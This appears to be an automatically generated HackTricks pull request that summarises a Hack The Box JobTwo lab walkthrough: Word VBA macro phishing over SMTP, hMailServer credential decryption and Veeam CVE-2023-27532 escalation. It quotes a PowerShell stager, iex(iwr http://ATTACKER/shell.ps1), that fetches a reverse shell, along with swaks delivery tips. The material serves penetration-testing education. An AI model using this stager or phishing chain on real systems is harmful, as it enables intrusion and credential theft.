HTB/VulnLab JobTwo Word VBA macro phishing via SMTP → hMailS...

[carlospolop]

🤖 Automated Content Update

This PR was automatically generated by the HackTricks News Bot based on a technical blog post.

📝 Source Information

• Blog URL: https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html
• Blog Title: HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM
• Suggested Section: HackTricks Main → Phishing Methodology (Office/Word VBA macros) + Windows Local Privilege Escalation (Veeam Backup & Replication CVE-2023-27532) + Network Services Pentesting → 25/tcp SMTP (swaks usage for phishing delivery) + Windows post-exploitation/credentials (hMailServer credential decryption)

🎯 Content Summary

Title / Context
Technical walkthrough for the HTB/VulnLab Windows machine JobTwo (Hard). The end-to-end attack chain described by the author is:
1) Initial access by phishing a malicious Microsoft Word document (VBA macro) to an exposed SMTP service (hMailServer) and catching a PowerShell reverse shell.
2) From the initial shell as job2\julian, identify hMailServer and decrypt its stored mail-database credentials using a known...

🔧 Technical Details

A realistic initial-access technique is to abuse an exposed SMTP server and a business workflow (e.g., HR resume intake) by emailing a Word document containing a VBA AutoOpen macro. The macro can execute Shell to launch PowerShell with -ep bypass and use an in-memory stager such as iex(iwr http://ATTACKER/shell.ps1 -usebasicparsing), where shell.ps1 is hosted on an attacker-controlled web server and returns a reverse shell payload.

When using swaks for delivery, ensure the attachment is the file contents by using --attach @file.doc (the @ causes the local shell to pass the bytes of the document rather than the literal filename), enabling reliable SMTP delivery of the malicious document.

If a Windows host runs hMailServer, a post-compromise credential-recovery pattern is to locate the configuration/registry where the mail database password is stored encrypted ...

🤖 Agent Actions

Updated HackTricks with new techniques from the JobTwo blog:

• Enhanced phishing macros page with a concise AutoOpen PowerShell stager example and reference.
• Added swaks attachment handling and incorporated the blog reference into SMTP pentesting guidance.
• Documented hMailServer credential decryption (static Blowfish key) and SQL CE access workflow in Windows credential theft.
• Added Veeam Backup & Replication CVE-2023-27532 SYSTEM exploit notes to Windows LPE, plus references.

---

This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.

[carlospolop]

🔗 Additional Context

Original Blog Post: https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html

Content Categories: Based on the analysis, this content was categorized under "HackTricks Main → Phishing Methodology (Office/Word VBA macros) + Windows Local Privilege Escalation (Veeam Backup & Replication CVE-2023-27532) + Network Services Pentesting → 25/tcp SMTP (swaks usage for phishing delivery) + Windows post-exploitation/credentials (hMailServer credential decryption)".

Repository Maintenance:

• MD Files Formatting: 944 files processed

Review Notes:

• This content was automatically processed and may require human review for accuracy
• Check that the placement within the repository structure is appropriate
• Verify that all technical details are correct and up-to-date
• All .md files have been checked for proper formatting (headers, includes, etc.)

Bot Version: HackTricks News Bot v1.0